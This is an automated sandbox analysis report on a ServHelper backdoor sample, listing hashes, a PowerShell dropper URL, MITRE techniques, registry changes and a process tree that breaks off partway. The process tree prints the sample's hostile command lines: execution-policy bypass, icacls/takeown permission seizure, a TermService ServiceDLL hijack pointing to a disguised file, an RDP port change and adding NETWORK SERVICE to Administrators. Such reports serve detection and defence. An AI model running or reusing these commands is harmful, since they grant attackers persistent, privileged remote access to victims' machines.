servhelper | c7cb1cc9a2148e8db293de61d791cbbe7202eda89335c93caf454028a61d0a90

Analysis

max time kernel
93s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
15-04-2024 17:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f19b9d6b74f65125623613a334baba76_JaffaCakes118.exe
Size

7.0MB
MD5

f19b9d6b74f65125623613a334baba76
SHA1

8b1428daa9a7d2231663784c2e0457034dbdd468
SHA256

c7cb1cc9a2148e8db293de61d791cbbe7202eda89335c93caf454028a61d0a90
SHA512

f993b7002c952cc754d86726031052fde8dcdda6ce29b35aca9f8318e390c86b370f2519cb4ec2374e24645772ef6dfbbb4bcf25c49587e4b5d678588c5a3fd4
SSDEEP

196608:9gwCUo86gyVJHh22fiIUrKqJGZdwInqqwgrSPn:9pv6g+JHhu1WVZdwIqqdr

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
31	3452	powershell.exe
33	3452	powershell.exe
35	3452	powershell.exe
37	3452	powershell.exe
39	3452	powershell.exe
45	3452	powershell.exe
47	3452	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid process

2824 icacls.exe
4460 icacls.exe
4412 icacls.exe
2452 icacls.exe
1136 icacls.exe
316 icacls.exe
4868 takeown.exe
3532 icacls.exe

pid	process
2824	icacls.exe
4460	icacls.exe
4412	icacls.exe
2452	icacls.exe
1136	icacls.exe
316	icacls.exe
4868	takeown.exe
3532	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

4340
4340
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

4460 icacls.exe
4412 icacls.exe
2452 icacls.exe
4868 takeown.exe
1136 icacls.exe
316 icacls.exe
3532 icacls.exe
2824 icacls.exe

pid	process
4340
4340

pid	process
4460	icacls.exe
4412	icacls.exe
2452	icacls.exe
4868	takeown.exe
1136	icacls.exe
316	icacls.exe
3532	icacls.exe
2824	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Branding\mediasrv.png	upx
C:\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

30 raw.githubusercontent.com
31 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
30	raw.githubusercontent.com
31	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 18 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_qnrbgjht.bpf.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6824.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6823.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6802.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6812.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2a4kjiqd.vm1.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI67F1.tmp	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

3624 WMIC.exe

pid	process
3624	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3296 reg.exe
Runs net.exe

pid	process
3296	reg.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	33	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	35	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
5036	powershell.exe
5036	powershell.exe
1328	powershell.exe
1328	powershell.exe
1160	powershell.exe
1160	powershell.exe
4484	powershell.exe
4484	powershell.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

660
660

pid	process
660
660

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeRestorePrivilege	1136	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	3624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3624	WMIC.exe
Token: SeAuditPrivilege	3624	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3624	WMIC.exe
Token: SeAuditPrivilege	3624	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4868	WMIC.exe
Token: SeAuditPrivilege	4868	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4868	WMIC.exe
Token: SeAuditPrivilege	4868	WMIC.exe
Token: SeDebugPrivilege	3452	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f19b9d6b74f65125623613a334baba76_JaffaCakes118.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exe

description	pid	process	target process
PID 4888 wrote to memory of 5036	4888	f19b9d6b74f65125623613a334baba76_JaffaCakes118.exe	powershell.exe
PID 4888 wrote to memory of 5036	4888	f19b9d6b74f65125623613a334baba76_JaffaCakes118.exe	powershell.exe
PID 5036 wrote to memory of 4896	5036	powershell.exe	csc.exe
PID 5036 wrote to memory of 4896	5036	powershell.exe	csc.exe
PID 4896 wrote to memory of 3724	4896	csc.exe	cvtres.exe
PID 4896 wrote to memory of 3724	4896	csc.exe	cvtres.exe
PID 5036 wrote to memory of 1328	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 1328	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 1160	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 1160	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 4484	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 4484	5036	powershell.exe	powershell.exe
PID 5036 wrote to memory of 4868	5036	powershell.exe	WMIC.exe
PID 5036 wrote to memory of 4868	5036	powershell.exe	WMIC.exe
PID 5036 wrote to memory of 3532	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 3532	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 1136	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 1136	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 316	5036	powershell.exe	Conhost.exe
PID 5036 wrote to memory of 316	5036	powershell.exe	Conhost.exe
PID 5036 wrote to memory of 2452	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 2452	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 4412	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 4412	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 4460	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 4460	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 2824	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 2824	5036	powershell.exe	icacls.exe
PID 5036 wrote to memory of 2772	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 2772	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 3296	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 3296	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 2040	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 2040	5036	powershell.exe	reg.exe
PID 5036 wrote to memory of 1300	5036	powershell.exe	net.exe
PID 5036 wrote to memory of 1300	5036	powershell.exe	net.exe
PID 1300 wrote to memory of 3416	1300	net.exe	net1.exe
PID 1300 wrote to memory of 3416	1300	net.exe	net1.exe
PID 5036 wrote to memory of 2808	5036	powershell.exe	cmd.exe
PID 5036 wrote to memory of 2808	5036	powershell.exe	cmd.exe
PID 2808 wrote to memory of 1344	2808	cmd.exe	cmd.exe
PID 2808 wrote to memory of 1344	2808	cmd.exe	cmd.exe
PID 1344 wrote to memory of 3120	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 3120	1344	cmd.exe	net.exe
PID 3120 wrote to memory of 532	3120	net.exe	net1.exe
PID 3120 wrote to memory of 532	3120	net.exe	net1.exe
PID 5036 wrote to memory of 3040	5036	powershell.exe	cmd.exe
PID 5036 wrote to memory of 3040	5036	powershell.exe	cmd.exe
PID 3040 wrote to memory of 800	3040	cmd.exe	cmd.exe
PID 3040 wrote to memory of 800	3040	cmd.exe	cmd.exe
PID 800 wrote to memory of 1348	800	cmd.exe	net.exe
PID 800 wrote to memory of 1348	800	cmd.exe	net.exe
PID 1348 wrote to memory of 1572	1348	net.exe	net1.exe
PID 1348 wrote to memory of 1572	1348	net.exe	net1.exe
PID 4820 wrote to memory of 1860	4820	cmd.exe	net.exe
PID 4820 wrote to memory of 1860	4820	cmd.exe	net.exe
PID 1860 wrote to memory of 4864	1860	net.exe	net1.exe
PID 1860 wrote to memory of 4864	1860	net.exe	net1.exe
PID 2920 wrote to memory of 2792	2920	cmd.exe	net.exe
PID 2920 wrote to memory of 2792	2920	cmd.exe	net.exe
PID 2792 wrote to memory of 1288	2792	net.exe	net1.exe
PID 2792 wrote to memory of 1288	2792	net.exe	net1.exe
PID 3392 wrote to memory of 3684	3392	cmd.exe	net.exe
PID 3392 wrote to memory of 3684	3392	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\f19b9d6b74f65125623613a334baba76_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\f19b9d6b74f65125623613a334baba76_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5pkzrk51\5pkzrk51.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4896
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4602.tmp" "c:\Users\Admin\AppData\Local\Temp\5pkzrk51\CSCE3DF0B75E0DF44E1B638303A2F4BC7A1.TMP"
      4⤵
      PID:3724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4868
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3532
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1136
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:316
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2452
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4412
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4460
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2824
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2772
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:3296
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2040
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1344
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3120
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:532
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:800
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1348
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1572
- - C:\Windows\system32\cmd.exe
